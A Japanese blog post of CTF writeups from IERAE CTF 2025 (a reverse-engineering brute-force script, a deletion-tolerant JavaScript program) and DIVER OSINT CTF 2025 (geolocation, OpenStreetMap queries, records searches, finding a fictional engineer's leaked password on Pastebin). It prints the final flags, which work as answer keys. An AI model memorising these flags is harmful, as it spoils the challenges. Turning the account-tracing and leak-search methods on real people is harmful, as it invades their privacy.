st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

IERAE CTF 2025 writeup

6/21 - 6/22という日程で開催された。BunkyoWesternsで参加して23位。いつも出ているメンバーがフランスへ行ってしまっており、さんとふたりでのんびり出ていた。

Webが解けず涙。canvasboxは通したかったねえ。まっさらな Window を得ようとしてCustom Elementsで iframe の錬成はできていたものの、contentWindow がやはり消されているということで諦めてしまっていた。NodeDOMParser が絡んでいるはずのない frames を見るべきだった。


[Rev 165] rot rot rot (77 solves)

Rotate it.

添付ファイル: firectf_ierae-ctf-2025-prod-93zb0_distfiles_rot-rot-rot.tar.gz

展開すると rot_rot_rotflag.enc という2つのファイルが出てくる。前者のamd64のバイナリを使ってフラグをエンコードした結果を後者に保存しているのだろう。試しにバイナリを実行してみると、ご丁寧に次のように使い方を教えてくれた。

$ ./rot_rot_rot 
Usage: ./rot_rot_rot <input> <output>

適当なテキストファイルを投げてみると、確かにエンコードされている。よく見ると大部分が似ている。1文字ずつ総当たりをして、エンコードしたものと flag.enc とがビット単位でもっとも一致しているものを採用していくということをやってみよう。

$ echo testdayo > plain; ./rot_rot_rot plain test_out; xxd test_out
00000000: aaac a09f 4cdf d824 b56a 06eb a5de 0e50  ....L..$.j.....P
$ echo testdaaa > plain; ./rot_rot_rot plain test_out; xxd test_out
00000000: aaac a1ff 4cdf d824 b56a 06eb a5de 0e50  ....L..$.j.....P

スクリプトを書く。

import subprocess

def bin2bits(b):
    return ''.join(bin(c)[2:].zfill(8) for c in b)

def encode(s):
    with open('plain', 'wb') as f:
        f.write(s)
    subprocess.run('../rot_rot_rot plain encrypted', shell=True)
    with open('encrypted', 'rb') as f:
        return f.read()

def diff(s, t):
    return sum(c != d for c, d in zip(bin2bits(s), bin2bits(t)))

with open('../flag.enc', 'rb') as f:
    target = f.read()

s = list(b'IERA???????????????????????????????????????????????????????????????????????????????????')
for i in range(4, len(s)):
    mc, md = None, 1000000
    for c in range(0x20, 0x7f):
        s[i] = c
        d = diff(encode(bytes(s)), target)
        if d < md:
            mc, md = c, d
    s[i] = mc
    print(bytes(s))

実行するとフラグが得られた。

IERAE{Rot!Rot!Rot!_91961c2b05ff7eb8b940011210731f298509d87a4c2f33b294322688d931a852}

[Misc 361] Fault Tolerance (7 solves)

I have heard that in some industries it is required to write programs that will work even if some data is corrupted! Let's try that this time!

(問題サーバへの接続情報)

添付ファイル: firectf_ierae-ctf-2025-prod-93zb0_distfiles_fault-tolerance-javascript.tar.gz

次のようなサーバのコードが与えられている。要はどの1文字を消しても hello と出力するようなNode.js向けのコードを書けばよいらしい。

#!/usr/bin/env python3

"""

Your task is to write a JavaScript code that works even if any one character of it is removed.
Specifically, you must give to this script a string `prog` that meets the following conditions:

  * For any integer i (0 <= i < `len(prog)`), `prog[:i] + prog[i+1:]` is recognized as a valid JavaScript code and outputs `"hello\n"`.
  * `len(prog)` must be smaller than or equal to 1500.

Do not try to save something to files and reuse it, as it would fail.

"""

import sys
import string
import random
import tempfile
import subprocess

def myassert(cond, msg):
  if not cond:
    print(msg)
    sys.exit(1)

def main():
  sys.stdout.write('Input length: ')

  prog_len = int(sys.stdin.readline()[:-1])
  myassert(1 <= prog_len, "Don't hack!")
  myassert(prog_len <= 1500, "len(prog) must be smaller than or equal to 1500")

  sys.stdout.write('Input prog: ')

  prog = ''
  for i in range(prog_len):
    prog += sys.stdin.read(1)
  myassert(prog_len == len(prog), "EOF detected")

  verified = False

  # fault tolerance
  for i in range(prog_len):
    print('\n# i={}'.format(i))

    code = prog[:i] + prog[i+1:]

    with tempfile.NamedTemporaryFile(mode='w') as f:
      f.write(code)
      f.flush()

      # check if the program outputs "hello\n"

      subprocess.run(['chmod', 'o+r', f.name])
      result = subprocess.run(['sudo', '-u', 'nobody', 'node', f.name], capture_output=True)
      myassert(result.returncode == 0, "node should exit normally")

      output = result.stdout
      print('output: {}'.format(output))

      myassert(output == b'hello\n', 'the program should output "hello\\n"')
      verified = True

  myassert(verified, 'How did you fool it?')

  with open('./flag.txt') as f:
    flag = f.read()

  print('Well done!')
  print('The flag is {}'.format(flag))

if __name__ == '__main__':
  main()

この条件を聞いて思い出したのは放射線耐性Quineだった*1。1文字消しても動き、かつそれがQuineとして動くコードをRubyで書くというとんでもない試みだ。ただ、Rubyでなければできないような、放射線耐性Quineの実現を支えているテクニックが多く、JavaScriptで書くのはしんどそう。考えることが多いということで楽しそうだけれども。

hello さえ出力できればよいので、別の文字が消されたときのために必要な処理ではあるけれども今は実行してほしくない、というときに process.exit(0) すればよいだろうとか、//* *//// のようにするとどこが消されてもコメントアウトされるなあとか、val, eal, evl, val にそれぞれ eval を入れておけば、eval からどの文字が消されてもどのみち同じ関数を指すようにできるなあとか、しばらく使えそうなテクニックを考えていた。

ふと、すでにこれを実現している人はいないかと考える。「javascript 放射線耐性」でXを検索してみると、あった。構造を見てみると、変数宣言のhoistingだとかテンプレートリテラルだとか、JavaScriptならではのテクニックを最大限活用していて美しい。

ただ、このままだと aa=a=unction= が1文字消されて aa==unction= という構造になったときに "Invalid left-hand side in assignment" というエラーが発生する、実行されるのはQuineであるという2つの問題がある。これらを解決する必要がある。

まずQuineでなく hello が出力されるようにする点については、aa という変数に代入されている文字列の中身を hello と出力するコードに変えてしまえばよい。文字列リテラルの始まりを示すダブルクォートが消されたときに備えてコメントアウトも忘れず、(()=>{console.log(String.fromCharCode(104,101,108,108,111));process.exit(0)})()// とした。

"Invalid left-hand side in assignment" というエラーが吐かれてしまう点については、aaa をそれぞれ aaaaa とリネームしてしまえばよい。これならば、1文字が消されても === に変わってしまうことはない。

ということで、次のようなコードができあがった。ほとんど元のコードと変わらない。

aaa=aa=unction=Fnction=Fuction=Funtion=Funcion=Functon=Functin=Functio=
Function
aaa=aa=
"(()=>{console.log(String.fromCharCode(104,101,108,108,111));process.exit(0)})()//"///"
aaa.length==81&&Function`///${aaa}}```///`
aaa=
"(()=>{console.log(String.fromCharCode(104,101,108,108,111));process.exit(0)})()//"///"
Function`///${aaa}}```///`
var

ar,vr,va,aaalength,unction,Fnction,Fuction,Funtion,Funcion,Functon,Functin,Functio
var

ar,vr,va

これを投げると、フラグが得られた。

$ (wc -c rquine.js | tr ' ' '\n' | head -n 1; cat rquine.js) | nc (省略)
…
# i=441
output: b'hello\n'
Well done!
The flag is IERAE{h3y_br0_n0t_th47_c0rrupt10n_10l_cfd1542e}
IERAE{h3y_br0_n0t_th47_c0rrupt10n_10l_cfd1542e}

スクリプトキディをしてしまった。自力でやるのが楽しいのだろうけれども、気づいてしまったので押し通すしかなかった。去年の[Misc] gnalangや[Misc] 5のような問題が好きなのでほかにもあると嬉しいなと思ったけれども、今年はその系統の問題はこれだけだったように見える。次回が楽しみだ。

*1:これ11年前の記事なんだという驚きがまずあった

DIVER OSINT CTF 2025 writeup

6/7 - 6/8という日程で開催された。チーム「25時、ディスコードで。」*1の桃井愛莉*2として参加して1位🎉 昨年はどうしても解けない1問に阻まれて2位だったので、今回は雪辱を果たすことができ大変に嬉しい。

今年も前回大会に引き続きOSINT専門のCTFで、Geo, Recon, Transportation, History, Millitary, Hardware, Companyと様々な角度からOSINT問題が出題されていた。忘れてはならないのがReportカテゴリで、なんと今回は記述式の問題が導入されるというアナウンスが前もってなされていた。詳細は後で述べるけれども、お題をもとに調査を行い、最終的にそれをまとめたレポートを提出するというものだった。私は楽しかった。

記述式の問題は難易度がmediumとされている問題をすべて解くと挑戦できるようになっていたけれども、難易度はあくまで運営の主観で設定されていたことから、その難易度から想像される正答チーム数と実際の正答チーム数との間に乖離が見られる問題がいくつかあった。たとえば、[company] expenseは13 solves, [transportation] air2airは24 solves, [recon] 06_leakedは12 solvesだった。このため、記述式の問題に挑戦できたチームの数は少なかったのではないか。

我々はすでに競技は折り返しを過ぎていた午前3時頃にmediumの問題をすべて解くことができ、ようやく挑戦できた。どのようなお題であるかもこの段階でようやく閲覧できたため、眠気と戦いながら調査とレポートの執筆を行った。

ところで、BunkyoWesterns公式アカウントによるポストではあるが、「BunkyoWesternsのインテリジェンスチーム」が参加したというのは大嘘で、実際にはそんなものは存在しない。


タイムライン

私がどんなことをやっていたか、時系列順でまとめる。時刻はいずれも日本時間・24時間表記で記載している。

  • 6/7 (土)
    • 12時: 競技開始
    • 12時10分頃: チームがオンサイトで集まり作業するための場所に到着し、CTFを始める
    • 14時16分: [transportation] 36_years_agoを解く
    • 15時32分: [military] objectを解く
    • 17時32分: [military] workerを解く
    • 18時43分: [geo] what3slashesを解く
    • 19時12分: [history] internmentを解く
    • 21時59分: [geo] elevatorを解く
    • 22時38分: [company] bidを解く
  • 6/8 (日)
    • 1時: 25時、ディスコードで。
    • 3時3分: [recon] 06_leakedを解く
    • 3時3分: [report] unknown_aircraftがようやくオープンし、調査を始める
    • 6時頃: ある程度調査ができたため、文章をまとめ始める
    • 7時41分: この段階でできあがっていたレポートを提出する
    • 8時16分: 新たな情報を入手して焦る。ほかのメンバーに任せて一旦寝る
    • 10時30分頃: 起きる。新たな情報をもとに再度文章をまとめる
    • 11時47分: 最終版のレポートを提出する
    • 12時: 競技終了

解いた問題(自分でフラグを提出しなかったものを含む)

[geo 446] what3slashes (75 solves)

この画像が撮影されたとき、正面に家が3軒、右手に家が1軒あった。
それから少し経った、ある月の初旬にこの場所にもう一度訪れてみた。そのときには、正面左側に家が1軒増えていて、正面右側にもう1軒が建設中であった。その時点で、建設中の家に屋根はなかったが、黒っぽい屋根を作る予定だという。
「ある月の初旬」とは何年の何月のことだろうか。

Flag形式 : Diver25{YYYY/MM} (e.g. Diver25{2025/06})

添付ファイル: what3slashes.jpeg

漠然とした問題文だ。キリル文字の書かれたチケットのようなものを持ち、どこかに立っているらしい写真が与えられる。背景はあまりにもぼやけていてあまり情報が得られなそう。チケットのようなものを文字起こししたいけれども、手作業でやるのは面倒だったのでChatGPTにやらせる。

モンゴル語で、上に書かれている社名のようなものはMongol Postらしい。そして下部の文章は「3つの単語で3m四方の単位で地球上の任意の場所を表せる」という説明、手書きの文字はその3つの単語のようだ。what3wordsだろう。

上部中央のロゴ:
МОНГОЛ ШУУДАН

手書きの文字(赤い /// マークの右):
бумба . цогц . бататгав

下部の印刷された文章:
Дэлхийн гадаргын 3мх3м хэмжээтэй квадрат бүр өөрийн 3 үгт хаягтай.
Захиалга өгөхдөө эсвэл шуудан илгээхдээ өөрийнхөө 3 үгт хаягийг нэмээрэй

what3wordsで бумба.цогц.бататгав を入力すると、ウランバートルのある場所が表示された。これだろう。さて、問題文で求められていたのは、建設中だった家について黒い屋根ができた時期はいつか特定しろというようなものだった。どうやって特定するか。わざわざこんな住宅街のような場所で定点観測し続けているような人はいないだろうし、そもそも家の写真を探すことすら難しい(ストリートビューもない)。ならば衛星写真はどうだろうと考え、Google Earthで過去の画像を見ていった。

すると、2018年11月30日の写真では黒い屋根のある家が見えるところ、2018年10月30日の写真ではまだ建設中だった。ならば2018年11月だ。

Diver25{2018/11}

[geo 462] convenience (63 solves)

青森県内に、公園とコンビニ、スーパーマーケットが互いに約100m圏内に存在する場所がいくつかある。また、これはOpenStreetMapで確認可能である。 この条件を満たす 公園 のうち、最南端 のものについて、OpenStreetMap上での Way Number を答えよ。 なお、「公園」の定義は、OpenStreetMap上で "park" (leisure=park) と分類されているものに準拠する。

Flag形式: Diver25{123456789}

OpenStreetMapでまず公園・コンビニ・スーパーマーケットの場所を列挙し、手作業で…というのはとても現実的ではない。Overpass APIを使って機械的にやっていくべきだろう。

ChatGPTやClaudeにOverpass QLを書かせて探すということを私もsahuangさんも試したものの、出力されたものは通らず。デバッグが億劫だったので、距離の判定部分はPythonでやらせることにした。「ポリゴン間の距離をちゃんと計算してほしい」と言いつつスクリプトを生成させる。

import requests
import json
import math
from geopy.distance import geodesic
from shapely.geometry import Point, Polygon, LineString
from shapely.ops import transform
import pyproj
from functools import partial

def find_southernmost_park_with_nearby_stores():
    """
    青森県内で公園、コンビニ、スーパーが互いに100m圏内に存在する場所の
    最南端の公園のWay Numberを取得(ポリゴン同士の正確な距離で判定)
    """
    
    # Overpass APIのエンドポイント
    overpass_url = "http://(省略)"
    
    # データを取得
    overpass_query = """
    [out:json][timeout:600];
    
    // 青森県全体
    area[name="青森県"]["admin_level"="4"]->.aomori;
    
    // 公園を取得(leisure=parkのみ)
    (
      node(area.aomori)[leisure=park];
      way(area.aomori)[leisure=park];
      relation(area.aomori)[leisure=park];
    );
    out geom meta;
    
    // コンビニを取得
    (
      node(area.aomori)[shop=convenience];
      way(area.aomori)[shop=convenience];
    );
    out geom meta;
    
    // スーパーを取得
    (
      node(area.aomori)[shop=supermarket];
      way(area.aomori)[shop=supermarket];
    );
    out geom meta;
    """
    
    # APIリクエスト実行
    response = requests.get(overpass_url, params={'data': overpass_query})
    data = response.json()
    
    # データを分類
    parks = []
    convenience_stores = []
    supermarkets = []
    
    for element in data['elements']:
        tags = element.get('tags', {})
        
        if tags.get('leisure') == 'park':
            parks.append(element)
        elif tags.get('shop') == 'convenience':
            convenience_stores.append(element)
        elif tags.get('shop') == 'supermarket':
            supermarkets.append(element)
    
    print(f"leisure=park の公園数: {len(parks)}")
    print(f"shop=convenience のコンビニ数: {len(convenience_stores)}")
    print(f"shop=supermarket のスーパー数: {len(supermarkets)}")
    
    # 青森県付近の座標系設定(UTM Zone 54N)
    wgs84 = pyproj.CRS('EPSG:4326')
    utm = pyproj.CRS('EPSG:32654')  # UTM Zone 54N (青森県に適用)
    project_to_utm = pyproj.Transformer.from_crs(wgs84, utm, always_xy=True).transform
    
    def create_geometry(element):
        """要素からShapelyジオメトリを作成"""
        try:
            if element['type'] == 'node':
                # nodeは5m半径の円として扱う
                point = Point(element['lon'], element['lat'])
                utm_point = transform(project_to_utm, point)
                return utm_point.buffer(5)  # 5m半径
                
            elif element['type'] == 'way' and 'geometry' in element:
                geometry = element['geometry']
                if not geometry or len(geometry) < 3:
                    # 線形の場合や点が少ない場合は小さな円として扱う
                    if geometry:
                        point = Point(geometry[0]['lon'], geometry[0]['lat'])
                        utm_point = transform(project_to_utm, point)
                        return utm_point.buffer(5)
                    return None
                
                # ポリゴンとして作成
                coords = [(point['lon'], point['lat']) for point in geometry]
                
                # 閉じたポリゴンにする
                if coords[0] != coords[-1]:
                    coords.append(coords[0])
                
                if len(coords) < 4:  # ポリゴンには最低4点必要
                    return None
                
                try:
                    polygon = Polygon(coords)
                    if not polygon.is_valid:
                        # 無効なポリゴンの場合は中心点から小さな円を作成
                        centroid = polygon.centroid
                        utm_point = transform(project_to_utm, centroid)
                        return utm_point.buffer(10)
                    
                    # UTM座標系に変換
                    utm_polygon = transform(project_to_utm, polygon)
                    return utm_polygon
                    
                except Exception as e:
                    print(f"ポリゴン作成エラー: {e}")
                    return None
                    
            elif element['type'] == 'relation':
                # relationは中心点から大きめの円として扱う
                if 'center' in element:
                    point = Point(element['center']['lon'], element['center']['lat'])
                    utm_point = transform(project_to_utm, point)
                    return utm_point.buffer(25)  # 25m半径
                    
        except Exception as e:
            print(f"ジオメトリ作成エラー (ID: {element.get('id')}): {e}")
            
        return None
    
    def get_center_latlon(element, geometry):
        """中心座標を取得(緯度経度)"""
        if element['type'] == 'node':
            return (element['lat'], element['lon'])
        elif geometry:
            # UTM座標系の中心をWGS84に戻す
            try:
                center_utm = geometry.centroid
                wgs84_center = transform(pyproj.Transformer.from_crs(utm, wgs84, always_xy=True).transform, center_utm)
                return (wgs84_center.y, wgs84_center.x)
            except:
                pass
        return None
    
    # 各要素のジオメトリを事前計算
    print("\n=== ジオメトリ計算中 ===")
    park_geometries = {}
    convenience_geometries = {}
    supermarket_geometries = {}
    
    for park in parks:
        geom = create_geometry(park)
        if geom:
            park_geometries[park['id']] = geom
            name = park.get('tags', {}).get('name', '名前なし')
            area = geom.area if hasattr(geom, 'area') else 0
            print(f"公園: {name} (ID: {park['id']}) - 面積: {area:.1f}m²")
    
    for store in convenience_stores:
        geom = create_geometry(store)
        if geom:
            convenience_geometries[store['id']] = geom
    
    for store in supermarkets:
        geom = create_geometry(store)
        if geom:
            supermarket_geometries[store['id']] = geom
    
    print(f"\n有効な公園: {len(park_geometries)}件")
    print(f"有効なコンビニ: {len(convenience_geometries)}件")
    print(f"有効なスーパー: {len(supermarket_geometries)}件")
    
    # 条件を満たす公園を検索(3つの距離をすべてチェック)
    valid_parks = []
    
    for park in parks:
        if park['id'] not in park_geometries:
            continue
            
        park_geom = park_geometries[park['id']]
        park_name = park.get('tags', {}).get('name', '名前なし')
        park_id = park.get('id')
        park_center = get_center_latlon(park, park_geom)
        
        if not park_center:
            continue
        
        # 100m以内のコンビニをチェック
        nearby_convenience = []
        convenience_geoms_near_park = []
        for store in convenience_stores:
            if store['id'] not in convenience_geometries:
                continue
            store_geom = convenience_geometries[store['id']]
            
            # 公園とコンビニの距離
            distance = park_geom.distance(store_geom)
            
            if distance <= 100:
                store_name = store.get('tags', {}).get('name', '名前なし')
                nearby_convenience.append(f"{store_name}({distance:.1f}m)")
                convenience_geoms_near_park.append((store, store_geom))
        
        # 100m以内のスーパーをチェック
        nearby_supermarket = []
        supermarket_geoms_near_park = []
        for store in supermarkets:
            if store['id'] not in supermarket_geometries:
                continue
            store_geom = supermarket_geometries[store['id']]
            
            # 公園とスーパーの距離
            distance = park_geom.distance(store_geom)
            
            if distance <= 100:
                store_name = store.get('tags', {}).get('name', '名前なし')
                nearby_supermarket.append(f"{store_name}({distance:.1f}m)")
                supermarket_geoms_near_park.append((store, store_geom))
        
        # コンビニとスーパーが互いに100m以内かチェック
        convenience_supermarket_pairs = []
        for conv_store, conv_geom in convenience_geoms_near_park:
            for super_store, super_geom in supermarket_geoms_near_park:
                # コンビニとスーパーの距離
                distance = conv_geom.distance(super_geom)
                if distance <= 100:
                    conv_name = conv_store.get('tags', {}).get('name', '名前なし')
                    super_name = super_store.get('tags', {}).get('name', '名前なし')
                    convenience_supermarket_pairs.append(f"{conv_name}↔{super_name}({distance:.1f}m)")
        
        # デバッグ情報
        print(f"\n公園: {park_name} (ID: {park_id})")
        print(f"  中心: {park_center[0]:.6f}, {park_center[1]:.6f}")
        print(f"  公園→コンビニ 100m以内({len(nearby_convenience)}件): {nearby_convenience}")
        print(f"  公園→スーパー 100m以内({len(nearby_supermarket)}件): {nearby_supermarket}")
        print(f"  コンビニ↔スーパー 100m以内({len(convenience_supermarket_pairs)}組): {convenience_supermarket_pairs}")
        
        # 全ての条件を満たす場合(公園-コンビニ、公園-スーパー、コンビニ-スーパー全てが100m以内)
        if (len(nearby_convenience) > 0 and 
            len(nearby_supermarket) > 0 and 
            len(convenience_supermarket_pairs) > 0):
            
            valid_parks.append({
                'park': park,
                'latitude': park_center[0],
                'longitude': park_center[1],
                'way_id': park_id,
                'name': park_name,
                'convenience_stores': nearby_convenience,
                'supermarkets': nearby_supermarket,
                'convenience_supermarket_pairs': convenience_supermarket_pairs
            })
            print(f"  ✅ 全ての条件を満たします!")
        else:
            missing = []
            if len(nearby_convenience) == 0:
                missing.append("コンビニなし")
            if len(nearby_supermarket) == 0:
                missing.append("スーパーなし")
            if len(convenience_supermarket_pairs) == 0:
                missing.append("コンビニ↔スーパー距離超過")
            print(f"  ❌ 条件不足: {', '.join(missing)}")
    
    if not valid_parks:
        print("\n条件を満たす公園が見つかりませんでした。")
        return None
    
    # 緯度で最南端を特定
    valid_parks.sort(key=lambda x: x['latitude'])
    
    print(f"\n=== 条件を満たす公園一覧(南→北順) ===")
    for i, park_info in enumerate(valid_parks):
        print(f"{i+1}. {park_info['name']} (ID: {park_info['way_id']})")
        print(f"   緯度: {park_info['latitude']:.6f}")
        print(f"   公園→コンビニ: {', '.join(park_info['convenience_stores'])}")
        print(f"   公園→スーパー: {', '.join(park_info['supermarkets'])}")
        print(f"   コンビニ↔スーパー: {', '.join(park_info['convenience_supermarket_pairs'])}")
        print()
    
    southernmost_park = valid_parks[0]
    
    print(f"=== 最終結果 ===")
    print(f"最南端の公園: {southernmost_park['name']}")
    print(f"Way Number: {southernmost_park['way_id']}")
    print(f"緯度: {southernmost_park['latitude']:.6f}")
    print(f"経度: {southernmost_park['longitude']:.6f}")
    
    return southernmost_park['way_id']

# 実行
if __name__ == "__main__":
    try:
        result = find_southernmost_park_with_nearby_stores()
        if result:
            print(f"\n答え: {result}")
    except Exception as e:
        print(f"エラーが発生しました: {e}")
        print("必要なライブラリをインストールしてください:")
        print("pip install geopy requests shapely pyproj")

これを実行すると、上沢巻目公園が出てくる。たしかに公園とコンビニ、コンビニとスーパー、公園とスーパーの距離はそれぞれ100m以内に見える。

$ python3 aomori.py
1. 上沢巻目公園 (ID: 556701681)
   緯度: 40.508948
   公園→コンビニ: ファミリーマート(95.3m)
   公園→スーパー: ユニバース湊高台店(4.5m)
   コンビニ↔スーパー: ファミリーマート↔ユニバース湊高台店(46.9m)
…

この問題には提出回数に制限があり、かつsahuangさんと私で何度かそれを消費してしまっていたので、慎重に進める必要があると考えた。これで問題ないかとsahuangさんに確認の上で提出いただくと、通ったとのことだった。やったあ。

Diver25{556701681}

[geo 472] Talentopolis (53 solves)

記事 / Article: https://www.guineaecuatorialpress.com/noticias/primera_edicion_de_talentopoli

"Primera edición de Talentopolis" という記事内に登場するステージの位置を答えよ。

アクセスすると、音楽とともに赤道ギニアの大統領であるテオドロ・オビアン・ンゲマの誕生日を祝う旨のメッセージが表示された。83歳らしい。それはどうでもよくて、更新すると問題文で言及されていたスペイン語の記事が表示される。首都であるマラボ、San Juanという地区において、Talentopolisというイベントが開催されたらしい。

このイベントが開催された日時や名称等を含めた「San Juan de Malabo septiembre 7, 2024 Talentopolis」というクエリを使いGoogleで検索すると、別の角度から撮影した写真を含む記事がヒットした。なお、ここまでで得られた写真のいずれもEXIF等に位置情報は含まれていなかった。

そもそもSan Juan地区とはどこなのか。そこら中にありそうな名前だ。San Juan de MalaboでググったりGoogleマップで検索したりしてみるものの、位置がわからない。OSMでSan Juan de Malaboを検索してみると、ある程度場所が絞れた。写真に写っている建物や駐車場、坂等の位置関係を整理しつつSatokiさんと悩んでいると、Satokiさんが衛星写真から場所を特定してくれた。

[geo 499] elevator (12 solves)

これらの写真はあるホテルの客室内と、その窓からの景色を撮影したものである(撮影日は2024年)。 このホテルに設置されたエレベーターには、2件の故障記録が存在しているものが1基ある。 故障日と、故障記録があるエレベーターの登録番号を答えよ。

Flag形式: Diver25{YYYYMMDD_YYYYMMDD_1234567}

例えば、登録番号 "1234567" のエレベーターが2000年11月20日と2020年2月13日に故障していた場合、Flagは Diver25{20001120_20200213_1234567} となる。

なにかが解体された跡を撮影した写真と、東横インの部屋内でそのWi-Fiのパスワード等を撮影したらしい写真が与えられている。私が問題を確認した時点でkanonさんとpr0xyさんが頑張って東横インの各ホテルをチェックしていた。

この問題で最終的に答えるべき情報は故障した日と登録番号であるから、逆に言えばその情報がどこかしらから得られるということになる。日本国内では特にそういった情報を記録しており、かつ一般にアクセス可能であるデータベースが見つからなかったことから、実は韓国やドイツといった場所にあるホテルが撮影場所で、かつそういった国ではデータベースが閲覧可能なのではないかと考えた。

東横インが進出しているそれぞれの国にそういったデータベースがないかClaudeにリサーチさせてみたところ、韓国には국가승강기정보센터なるものがあると教えてくれた。たしかに「토요코인」(東横イン)などで検索してみるとエレベーターのリストが出てくるし、それらは故障履歴まで見られるようになっている。さらに、ここでpr0xyさんが写真の情報から釜山の東横インである可能性を見出した。

この問題ではフラグの提出制限はなかった。ただし、あくまで回数に制限がないだけで、3回間違えるとそれ以降は1回間違えるごとに15分ロックがかかってしまうという別の制限があった。しかしながら、これは15分悩むぐらいなら1回それらしいフラグを提出し、少なくともそれが間違っている情報を得る方がよい(つまり、15分悩むのは1回提出権を失うのとほぼ等価である)ということでもある。これに基づいて、釜山にある東横インのうち、2回故障しているエレベーターをリストアップし試していくことにした。最初に試した登録番号 8019148 のものが正解だった。

Diver25{20230810_20241124_8019148}

競技だから許される考え方だとは思う。ブルートフォースに近しいけれども、ルール上はあくまで機械的なアクセス、それもスクレイピングやスクリプトのような「機械的手法」が禁止されているだけで、手動での総当たりは禁止されていなかったから問題ない、またほかのメンバーが並行して絞り込みを進めていたけれども、それによって場所が確定するまで15分以上が必要となるだろうと判断し、このようにした。

[recon 499] 06_leaked (12 solves)

"00_engineer" の問題で見つかったソフトウェアエンジニアのパスワードが漏洩して公開されてしまったらしい。彼はパスワードを変更して事なきを得たようだが、漏洩したパスワードは何だっただろうか。

Flag 形式: Diver25{his_password}

シリーズものの問題だ。私が問題に着手した時点でほかのメンバーによってこのシリーズの問題すべてが解かれており、重要なものとして以下の情報がわかっていた:

  • 調査対象のエンジニアの名前は Kodai Shinonome であり、以下のアカウントを持つ:
    • https://github.com/kodai-sn
    • https://x.com/kodai_sn
    • https://speakerdeck.com/kodaisn
    • kodaisn.development@gmail.com
    • shinonomekodai@gmail.com
  • Kodai Shinonome はmagneightという架空の会社に勤めており、この会社は次のようなWebサイトがある:
    • https://magneight.com/
    • https://gitea.magn8soft.tokyo/

このエンジニアはSpeakerDeckでGitやGitHubの使い方を紹介するスライドを公開していた。その中でGitHubでのフォークのやり方を説明していたが、その図解のために載せている以下のスクリーンショットにおいてユーザ名が白塗りにされていることから、このコミットを特定すべきではないかとSatokiさんが注目していた。

フォーク元のリポジトリは公開されているために、そのフォーク先のリポジトリをいくつか確認したが、該当のコミットは見つからない。GitHub全体で検索しても見当たらない。消されてしまっているのだろうか。

GH Archiveのデータを使ってこのようなコミットがないか、コミットメッセージ等を鍵に探してみると、見つかった。ただ、特に怪しいファイルは見当たらない。また、このコミットを行っているユーザは後に mizuki1206edelweiss に名前を変えていることが、その数値のIDを追跡することでわかるが、このユーザは mizuki を名前に含んでいること、またメールアドレスから、おそらくそのエンジニアでなく勤務先のCEOであるMizuki Sekozakiであろうことが推測されていた。

悩んだ挙げ句に、パスワードの流出といえばPastebin.comだろうという安直な考え方から、ここでエンジニアの持つメールアドレスのひとつである kodaisn.development で検索したところ、なんとパスワード付きでヒットする。そんなあ。

Diver25{1_4m_fr0m_h0kk41d0_4nd_l0v3_54un4}

我々が記述式の問題以外で最後に解いたのがこの問題だった。無駄に考えすぎて、チームメンバー全員で時間を空費していた。意図的にせよそうでないにせよこの問題はrabbit holeがちょっと多いかなあとか、シナリオとしてあまり面白いものとは思えないなあとか思う。

[transportation 347] 36_years_ago (125 solves)

このニュース動画に映っている航空機に、1989年8月時点で割り当てられていたトランスポンダのMode Sコードを16進数表記で答えてください。 https://www.youtube.com/watch?v=OvR2O_Vpwc0

Flag形式: Diver25{1234AB}

content warning: この映像は軽微な航空事故の様子を含みます。

7か月前の2024年10月に、宮城県栗原市の瀬峰飛行場で起きたセスナ機のオーバーランについてのニュースだ。そもそもこれの機体記号はなんなのか。ニュースの動画中では写らない(なお、52秒ごろに機体記号の見えるシーンがあるが、これは別の飛行機だ)。別ソースとしてNHKのニュースを確認したところ、着陸時の動画が含まれており、バッチリ JA4098 と見えた。

この機体記号でググると、いくつか情報が得られる。この中で、Also Registered As として N9768L Deregistered Cancel: 1989-09-22 とある。アメリカにいた頃…かどうかはしらないけれども、1989年以前は N9768L という機体記号も持っていたようだ。

N9768L で検索すると、これに関する情報が得られた。問題で求められている情報である Mode S Code53316552 とある。これは8進数表記であることに注意されたい。

Diver25{AD9D6A}

[history 478] internment (48 solves)

著名な木曜島の真珠採りダイバーであった藤井富太郎氏は、第二次世界大戦中、強制収容されました。彼が釈放された収容所と釈放の年月日を明らかにしてください。

Flag 形式: Diver25{YYYY-MM-DDキャンプ番号キャンプ地名_州名}

例えば、「2025年6月1日に、キャンプ番号7番のDiver州Daibaキャンプ」から釈放されたならば、 Diver25{2025-06-01_7_Daiba_Diver} となります。なお、キャンプ番号がない場合はX(大文字のX)を入れてください。例えば、Diver25{2025-06-01_X_Daiba_Diver} となります。

藤井富太郎氏は最後の真珠貝ダイバー藤井富太郎という本を書いているらしい。この本に書かれている可能性も一応あるし、Kindle版があるのでやろうと思えばすぐにでもできたけれども、最終手段として残しておいた。

氏名で検索していると、藤井氏が住んでいた木曜島に触れているnote記事を見つける。いわく、1941年にニューサウスウェールズ州のヘイ収容所に強制収容されたらしい。釈放の日は触れられていない。

ヘイ収容所について調べてみると、同じく収容所のあったカウラ市の日本人戦争墓地データベースがヒットする。ここでオーストリアに存在した収容所の一覧が説明されており、ヘイ収容所についてはNo.6, 7, 8の3つが存在していたとわかる。No.6については「1943年4月までは単身男性の民間人抑留者を収容」のほか「PWJM」も収容、No.7, 8については「戦争捕虜を収容」ということらしい。このうち藤井氏が当てはまりそうなのはNo.6だが、どうだろう。

次の一手で悩んでいたところ、オーストラリア政府がそういった公文書等を公開していないかと思いつく。収容所名等を英語で検索していたところ、Wartime internment camps in Australiaというページが見つかる。このページの最後にalien registration and internment recordsへのリンクがある。ここからRecordSearchというサービスにたどり着くことができた。ここで[Fujii Tomitaro]で検索する。Item IDが8610767である資料に、筆記体でやや読みづらい箇所があるけれども、1946年12月10日にタツラの収容所から釈放されたということがわかる。

Diver25{1946-12-10_4_Tatura_Victoria}

[company 491] bid (31 solves)

2023年、オマーンにおいて、ある施設に関連するニュースが報じられた。 https://www.youtube.com/watch?v=TFdubskF9Kw

その後、2024年10~11月に、この施設に関連すると推定される、井戸およびパイプラインを建設するための入札が実施された。 このとき、3位の金額で入札した企業のCEOの名前を、Webサイトに掲載されている英語表記で答えよ。

Flag形式: Diver25{Kelly Ortberg}

私が問題を確認した時点で、Satokiさんがニュースの動画(アラビア語!)を字幕等から頑張って読み解いたり、ChatGPTに調べさせたりして、関連するであろう入札のデータを手に入れていた。ただ、このページからは「3位の金額で入札した企業」の情報は得られない。

